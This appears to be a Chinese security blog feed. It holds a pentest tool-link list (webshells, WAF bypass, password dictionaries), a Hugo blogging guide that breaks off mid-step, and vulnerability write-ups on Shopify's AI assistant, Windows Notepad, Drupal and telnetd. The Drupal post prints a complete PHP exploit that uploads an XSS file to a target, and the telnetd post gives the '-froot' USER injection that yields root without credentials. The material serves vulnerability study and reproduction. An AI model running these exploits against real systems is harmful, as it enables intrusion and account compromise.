CVE on 卡布奇诺的技术笔记

常用工具及网站（武器库）

Sat, 27 Jun 2026 00:00:00 +0000

常用工具及网站（武器库）

其他收录平台或项目传送门:
开源扫描器收录地址：https://github.com/We5ter/Scanners-Box
T00ls论坛收集工具集 https://github.com/tengzhangchao/Sec-Box
渗透师导航：https://www.shentoushi.top/
信息收集工具集：https://github.com/redhuntlabs/Awesome-Asset-Discovery
K8工具集： https://github.com/k8gege/K8tools
APP测试：https://github.com/Brucetg/App_Security
红队资源链接合集（干货超多）：https://github.com/hudunkey/Red-Team-links
红队实用工具：https://github.com/Threekiii/Awesome-Redteam 另一个工具+EXP合集：https://github.com/Mr-xn/Penetration_Testing_POC/

以下为个人整理收集

杂项

java 无文件webshell：https://github.com/rebeyond/memShell
瑞士军刀Bettercap：https://github.com/bettercap/bettercap
XSS批量扫描，源自先知：https://github.com/bsmali4/xssfork
个人收集编写的POC：

跨站数据劫持POC https://github.com/nccgroup/CrossSiteContentHijacking
自动化测试工具，POC在script路径下 https://github.com/Xyntax/POC-T/tree/master

收集各种语言的webshell：https://github.com/tennc/webshell
XXE注入工具 Ruby编写：https://github.com/enjoiz/XXEinjector
xxe 测试工具：https://github.com/TheTwitchy/xxer
burp AES加密插件：https://github.com/Ebryx/AES-Killer
XXE payload生成：https://github.com/BuffaloWill/oxml_xxe/
Nginx 路径穿越burp测试插件：https://github.com/bayotop/off-by-slash
红队自动化部署：https://github.com/360-A-Team/LuWu
JS反混淆：https://github.com/mindedsecurity/JStillery

一些比较有用的burp插件

基于规则匹配的高亮信息标记插件： https://github.com/gh0stkey/HaE
添加一些burp右键菜单（Unicode解码、添加常用payload、筛除无关网站等） https://github.com/bit4woo/knife
HW打点资产管理 https://github.com/bit4woo/domain_hunter_pro
配合被动漏扫的插件： https://github.com/c0ny1/passive-scan-client
破解前端加密： https://github.com/c0ny1/jsEncrypter
自动化扫描shiro漏洞： https://github.com/pmiaowu/BurpShiroPassiveScan
结合API对验证码进行识别（可搭配muggle-ocr库食用） https://github.com/c0ny1/captcha-killer
自动扫描网页中的链接（可在插件商店下载） https://github.com/GerbenJavado/LinkFinder
针对webservice（wsdl接口）生成poc测试（插件商店有，在装不上时可以直接下载release版本） https://github.com/NetSPI/Wsdler
方便筛选和记录burp流量的插件（可在插件商店下载）：https://github.com/nccgroup/LoggerPlusPlus

自动化扫描

SN1PER（功能：扫描开放端口、waf、指纹识别、目录扫描）：https://github.com/1N3/Sn1per
web页面直接调用工具（dirsearch、masscan、amass、patator）扫描：https://github.com/c0rvax/project-black
自动化扫描网站的CORS配置的漏洞：https://github.com/chenjj/CORScanner
长亭X-ray漏洞扫描器：https://github.com/chaitin/xray/
美杜莎漏扫：https://github.com/Ascotbe/Medusa
w13scan：https://github.com/w-digital-scanner/w13scan
利用github action 进行自动化扫描：https://github.com/inbug-team/InCloud
集成了fofa、漏洞扫描、web指纹等多个扫描功能（也可在内网扫）：https://github.com/P1-Team/AlliN

应急响应

应急响应工具集：https://github.com/meirwah/awesome-incident-response
应急实战笔记：https://github.com/Bypass007/Emergency-Response-Notes
进程查看：
- https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
- https://github.com/processhacker/processhacker

勒索病毒解密查询：

https://www.nomoreransom.org/crypto-sheriff.php
奇安信：https://lesuobingdu.qianxin.com/
VenusEye：https://lesuo.venuseye.com.cn/
深信服：https://edr.sangfor.com.cn/#/information/ransom_search
360：https://lesuobingdu.360.cn/
腾讯：https://guanjia.qq.com/pr/ls/
https://github.com/jiansiting/Decryption-Tools

字典payload、fuzz

弱口令字典：https://weakpass.com/
https://github.com/7hang/Fuzz_dic
https://github.com/swisskyrepo/PayloadsAllTheThings
https://github.com/berzerk0/Probable-Wordlists
https://github.com/danielmiessler/SecLists
文件上传时文件名fuzz：https://github.com/c0ny1/upload-fuzz-dic-builder
robots.txt 不允许访问的目录：https://github.com/danielmiessler/RobotsDisallowed
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/1N3/IntruderPayloads （burp_payload）
网站暴破+xss+sqli：https://github.com/SilverPoision/a-full-list-of-wordlists/tree/master/Wordlists/burp_pack
键盘组合、字母+数字混合密码暴破：https://github.com/huyuanzhi2/password_brute_dictionary
https://github.com/ppbibo/PentesterSpecialDict
https://github.com/r35tart/RW_Password
假名生成器:https://github.com/joke2k/faker

信息收集

在线协作markdown，可用于团队内部信息共享（可在离线环境搭建）：https://github.com/hackmdio/codimd
FOFA浏览器插件：https://github.com/fofapro/fofa_view
WAF指纹识别及Bypass https://github.com/Ekultek/WhatWaf
带截图go语言脚本扫描端口： https://github.com/michenriksen/aquatone
wfuzz：https://github.com/xmendez/wfuzz
可用于host头碰撞或者各种fuzz：https://github.com/ffuf/ffuf
host头碰撞：https://github.com/fofapro/Hosts_scan
.git、.svn和.DS_Store利用：https://github.com/0xHJK/dumpall
指纹识别（很多扫描工具都集成了，不列举了）：
- https://www.yunsee.cn/
- https://github.com/EASY233/Finger - https://github.com/EdgeSecurityTeam/EHole - gitlab版本识别：https://github.com/righel/gitlab-version-nse
目录扫描工具：
- https://github.com/maurosoria/dirsearch
- caesar（自带扫描字典，原版已被删除）：https://github.com/zhanglei/Caesar
端口扫描：
- RustScan（可以配置自动调用nmap）：https://github.com/RustScan/RustScan
接口扫描：
- https://github.com/Threezh1/JSFinder
- 基于TamperMonkey的版本：https://github.com/Threezh1/Deconstruct/blob/main/DevTools_JSFinder/JSFinder.js
子域名收集：
- 基于企业备案信息查询：https://github.com/canc3s/cDomain
- 根据SSL证书收集子域名：https://github.com/yassineaboukir/sublert
- python脚本+mangodb实时监控：https://github.com/guimaizi/get_domain
- 可发现二级、三级子域名：https://github.com/infosec-au/altdns
- asyncio+aiodns大字典暴破子域名 https://github.com/ldbfpiaoran/subdns
- 基于Python3.8，可以通过多种API来获取并验证子域名： https://github.com/shmilylty/OneForAll
浏览器插件：
- 熊猫头： https://github.com/ResidualLaugh/FindSomething
- 检测VUE站点未授权漏洞：https://github.com/Ad1euDa1e/VueCrack - 网页敏感信息检测，指纹识别：https://github.com/SickleSec/SnowEyes

WAF绕过

MYSQL_SQL注入: https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI
waf指纹字典及绕过方式：https://github.com/0xInfection/Awesome-WAF
waf识别脚本：https://github.com/stamparm/identYwaf
自动化绕WAF：https://github.com/khalilbijjou/WAFNinja
绕过瑞数反爬：https://github.com/R0A1NG/Botgate_bypass
一个基于fuzz的waf绕过测试工具：https://github.com/leveryd/x-waf

提权

Windows

windows提权在线辅助：http://bugs.hacking8.com/tiquan/

使用 Hugo + GitHub Pages 免费搭建技术博客

Sat, 27 Jun 2026 00:00:00 +0000


## 一、项目概述：为什么选择 Hugo + GitHub Pages？

对于技术博主来说，最理想的写作体验是“**用 Markdown 写作，Git 管理版本，一次推送自动上线**”。而 **Hugo + GitHub Pages + GitHub Actions** 的组合，恰好能完美实现这个流程。

这套方案的核心优势非常突出：

| 优势 | 说明 |
|------|------|
| **完全免费** | GitHub Pages 提供免费托管 + 全球 CDN 加速，无需购买服务器 |
| **极致性能** | Hugo 是Go语言写的静态生成器，构建速度毫秒级，生成纯HTML页面，访问极快 |
| **高安全性** | 没有数据库、没有服务端脚本，从根本上杜绝了SQL注入等常见漏洞 |
| **版本控制** | 所有文章和配置都用 Git 管理，历史变更清晰可查 |
| **写作纯粹** | 用 Markdown 写作，专注于内容本身 |

下面以开源项目 **[cappuccino.github.io](https://github.com/kabuqin/cappuccino.github.io)** 为参考，一步步带你搭建属于自己的技术博客。

---

## 二、技术选型

参考这个项目的技术栈：

- **框架**：[Hugo](https://gohugo.io/) —— 全球最快的静态网站生成器
- **主题**：[Gokarna](https://github.com/gokarna-theme/gokarna-hugo) —— 极简风格，专注于内容呈现
- **托管**：GitHub Pages —— 永久免费，自带SSL证书和CDN加速
- **自动化部署**：GitHub Actions —— 推送代码后自动构建并发布

你也可以选择其他主题，如 PaperMod、Ananke 等，Hugo 官方主题库有 2000+ 主题可供选择。

---

## 三、详细搭建步骤

### 第一步：安装 Hugo

**Mac（使用 Homebrew）**：
```bash
brew install hugo

Windows（使用 Scoop）：

Shopify Help Center AI 助手 Markdown 渲染缺陷导致 CSRF 与 RXSS 组合攻击

Tue, 23 Jun 2026 00:00:00 +0000

Shopify Help Center AI 助手 Markdown 渲染缺陷导致 CSRF 与 RXSS 组合攻击

该报告（#2509022）披露了 Shopify 帮助中心（help.shopify.com）的 AI 聊天助手在处理 Markdown 图片渲染时存在缺陷，攻击者可利用跨站请求伪造（CSRF）在受害者会话中植入恶意 Markdown 图片链接，最终触发反射型 XSS（RXSS），进而泄露用户个人信息并劫持支持对话。

漏洞概述

Shopify 帮助中心的 AI 聊天机器人在向用户展示问候语时，支持 Markdown 语法以丰富对话体验。在问候语的生成过程中，部分用户可控的输入会被直接反射到页面中。攻击者通过一个 CSRF 请求，可在受害者的会话中设置包含恶意 Markdown 图片的问候语。当受害者后续访问搜索页面时，该问候语被渲染，其中的 Markdown 图片链接因 target="_blank" 属性，需要用户使用鼠标中键点击才能触发 XSS（但攻击者可通过社会工程诱导用户执行该操作）。一旦触发，恶意脚本将窃取受害者个人信息，并尝试将攻击者邮箱添加为受害者已有支持对话的订阅者，从而获取对话内容或参与其中。

根本原因

CSRF 漏洞：https://help.shopify.com/en/search 端点接受 POST 请求，其中 greeting 参数可被攻击者任意设置，且该请求缺乏有效的 CSRF 防护（如 anti-CSRF token 或同源校验），使得攻击者可以跨站诱导已登录用户发起该请求，将恶意问候语存入受害者会话。
Markdown 渲染缺陷：问候语中的 Markdown 图片语法（![alt](url)）会被解析并渲染为 HTML 链接（<a> 标签），且该链接带有 target="_blank" 属性，用户点击时会在新标签页打开。攻击者将 javascript: 伪协议作为图片 URL，构造出可执行代码的链接。虽然浏览器对 javascript: 协议在新窗口中的执行有所限制（需要用户主动点击），但攻击者通过 mouse wheel click（鼠标中键点击）即可绕过部分限制，触发 XSS。
XSS 载荷的编码与混淆：攻击者将完整的 JavaScript 载荷进行 Base64 编码，并放置在 javascript:eval(atob('...')) 中，以规避简单过滤。

CVE-2026-20841：Windows 记事本高危远程代码执行漏洞

Mon, 27 Apr 2026 00:00:00 +0000

CVE-2026-20841 漏洞详细介绍：Windows 记事本高危远程代码执行漏洞

一、漏洞概述

CVE-2026-20841 是一个由微软在2026年2月“补丁星期二”更新中正式修复的高危远程代码执行（Remote Code Execution, RCE）漏洞，影响广泛使用的 Windows 记事本（Notepad）应用。该漏洞编号为 CVE-2026-20841，CVSS v3.1 基础评分为 8.8，属于高危等级，微软将其严重性评定为“Important”（重要）。尽管目前尚未发现野外利用的案例，但其攻击路径简单、利用门槛低，一旦被恶意利用，可能导致用户系统被完全控制，构成严重安全威胁。

二、漏洞成因与技术原理

该漏洞存在于 Microsoft Store 分发的新版 Windows 记事本（也称“现代化记事本”）中，与旧版系统内置的纯文本记事本无关。新版记事本为支持现代文档格式，新增了对 Markdown（.md）文件的解析与预览功能，但在此过程中存在严重的安全校验缺失。

漏洞本质为 命令注入（Command Injection）。

攻击者可构造一个看似正常的 .md 文件，嵌入伪装链接（如“点击查看详情”），当用户使用新版记事本打开并点击该链接时，系统将自动执行恶意命令，实现远程代码执行。

三、攻击流程与危害

构造恶意文件：攻击者创建一个包含特制链接的 Markdown 文件，内容伪装为工作文档、技术笔记等，提升欺骗性。
诱导用户打开：通过邮件、社交软件、共享链接等方式传播文件，诱导用户使用新版记事本打开。
点击触发执行：用户点击链接瞬间，记事本解析并执行恶意命令，如：
- 下载并运行远控木马、勒索软件；
- 窃取本地敏感数据（密码、文档、浏览器记录）；
- 建立持久化后门，实现长期控制；
- 横向渗透内网，攻击其他设备。
系统沦陷：攻击者获得完整控制权，设备沦为“肉鸡”，可能被用于挖矿、发起DDoS攻击或进一步渗透企业网络。

四、影响范围

✅ 受影响版本：
- 所有安装了 Microsoft Store 版新版记事本的 Windows 10 和 Windows 11 系统。
- 特别是在启用 Markdown 预览功能的设备上风险更高。
❌ 不受影响版本：
- Windows 系统内置的旧版记事本（无 Markdown 解析功能）；
- Windows Server 系统（默认不安装新版记事本，除非手动从商店下载）。

五、修复方案与防护建议

立即安装补丁（最有效措施）：
- 个人用户：进入「设置 → Windows 更新」，检查并安装 2026年2月10日及以后的累积更新；
- 同时打开 Microsoft Store，更新记事本应用至最新版本（可在“设置-关于”中查看版本号）。
企业与政企用户：
- 通过 WSUS 或 Intune 批量推送补丁；
- 暂时禁用新版记事本的 Markdown 预览与链接跳转功能；
- 使用终端安全产品（如 Microsoft Defender for Endpoint）监控异常命令行行为。
临时规避措施（未打补丁前）：
- 关闭记事本的 Markdown 预览功能；
- 将 .md 文件默认打开方式设为旧版记事本或安全的第三方编辑器（如 VSCode、Typora）；
- 不打开来源不明的 .md 文件或压缩包中的文档。
安全意识提升：
- 警惕邮件、聊天工具中收到的“文档”类附件；
- 点击链接前，右键复制地址，检查是否包含异常协议或命令字符。

Drupal文件上传导致跨站脚本执行（CVE-2019-6341）

Sun, 22 Mar 2026 00:00:00 +0000

Drupal文件上传导致跨站脚本执行（CVE-2019-6341）

Drupal介绍

Drupal 是一个开源的内容管理框架（CMF），用于构建网站、网络应用和数字体验平台。它基于 PHP 语言开发，具有高度灵活性和可扩展性，被广泛用于企业、政府、教育机构等大型或复杂的网站项目。

漏洞描述

Drupal 7.65之前的7版本、8.6.13之前的8.6版本和8.5.14之前的8.5版本中存在跨站脚本漏洞。该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。

解决建议

厂商已发布漏洞修复程序： https://www.drupal.org/sa-core-2019-004

参考链接：https://avd.aliyun.com/detail?id=AVD-2019-6341

漏洞复现

打开本地8080端口，配置Drupal环境，选择SQLite数据库，其他默认配置即可。

使用这个链接下的POC：

https://github.com/thezdi/PoC/tree/main/Drupal

<?php
/*
usage: php poc.php <target-ip>

Date: 1 March 2019
Exploit Author: TrendyTofu
Original Discoverer: Sam Thomas
Version: <= Drupal 8.6.2
Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
Tested not wokring on: Drupal running on MacOS with APFS
CVE : CVE-2019-6341
Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/

*/

$host = $argv[1];
$port = $argv[2];

$pk = "GET /user/register HTTP/1.1\r\n".
	"Host: ".$host."\r\n".
	"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
	"Accept-Language: en-US,en;q=0.5\r\n".
	"Referer: http://".$host."/user/login\r\n".
	"Connection: close\r\n\r\n";

$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
 $out.=fread($fp,1);
}
fclose($fp);

preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
$formid = $match[1];
//var_dump($formid);
//echo "form id is:". $formid;
//echo $out."\n";
sleep(1);

$data = 
"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".
"Connection: close\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"mail\"\r\n".
"\r\n".
"test324@example.com\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"name\"\r\n".
"\r\n".
"test2345\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".
"Content-Type: image/gif\r\n".
"\r\n".
"GIF\r\n".
"<HTML>\r\n".
"	<HEAD>\r\n".
"		<SCRIPT>alert(123);</SCRIPT>\r\n".
"	</HEAD>\r\n".
"	<BODY>\r\n".
"	</BODY>\r\n".
"</HTML>\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_build_id\"\r\n".
"\r\n".
//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".
$formid."\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_id\"\r\n".
"\r\n".
"user_register_form\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"contact\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"timezone\"\r\n".
"\r\n".
"America/New_York\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".
"\r\n".
"user_picture_0_upload_button\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".
"\r\n".
"Upload\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".
"\r\n".
"bartik\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".
"\r\n".
"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".
"-----------------------------60928216114129559951791388325--\r\n";

$pk = 	"POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n".
	"Host: ".$host."\r\n".
	"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n".
	"Accept: application/json, text/javascript, */*; q=0.01\r\n".
	"Accept-Language: en-US,en;q=0.5\r\n".
	"X-Requested-With: XMLHttpRequest\r\n".
	"Referer: http://" .$host. "/user/register\r\n".
	"Content-Length: ". strlen($data). "\r\n".
	$data;

echo "uploading file, please wait...\n";

for ($i =1; $i <= 2; $i++){
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
 $out.=fread($fp,1);
}
fclose($fp);

// echo "Got ".$i."/2 500 errors\n";
// echo $out."\n";
sleep(1);
}

echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";

?>

通过blog-poc.php 上传一个带有 xss代码（alert(123);）的xc0.gif 图片，当其他用户访问该文件的链接时，XSS代码将被执行。

localhost:8080//sites/default/files/pictures/2026-02/_0

GNU InetUtils telnetd 参数注入认证绕过漏洞复现（CVE-2026-24061）

Mon, 27 Oct 2025 00:00:00 +0000

GNU InetUtils telnetd 参数注入认证绕过漏洞复现（CVE-2026-24061）

GNU InetUtils（GNU Network Utilities）是 GNU 项目开发的一个开源网络工具集合，旨在提供一套符合 POSIX 和 GNU 标准的传统网络管理、通信及测试的基础命令行工具和服务器端守护进程。其核心组件包括 ping、telnet、ftp、hostname、ifconfig 等。

主要特点与功能：

核心工具： 包含 ftp/ftpd（文件传输）、telnet/telnetd（远程登录）、rlogin/rsh/rcp（远程 shell/复制）、ping（网络测试）等。
兼容性： 致力于在不同类 Unix 系统中提供一致的网络工具体验。
服务守护进程： 其中的 telnetd 和 ftpd 通常通过 inetd 或 xinetd 超级服务进行托管。

安全提示（CVE-2026-24061）： 近期，GNU InetUtils 的 telnetd 服务组件（版本 1.9.3 至 2.7）被发现存在重大远程认证绕过漏洞。攻击者可利用该漏洞在未授权的情况下获取服务器 root 权限，影响包括 Debian 12 和 Ubuntu 24.04 等主流发行版，建议及时更新。

GNU InetUtils 1.9.3 至 2.7 版本的 telnetd 服务器存在远程认证绕过漏洞（CVE-2026-24061）。telnetd 服务器在将 USER 环境变量传递给 login(1) 程序之前未进行过滤。攻击者可以提供类似 -froot 的 USER 值来触发 login 程序的认证绕过功能（-f 参数），无需凭据即可获得 root 访问权限。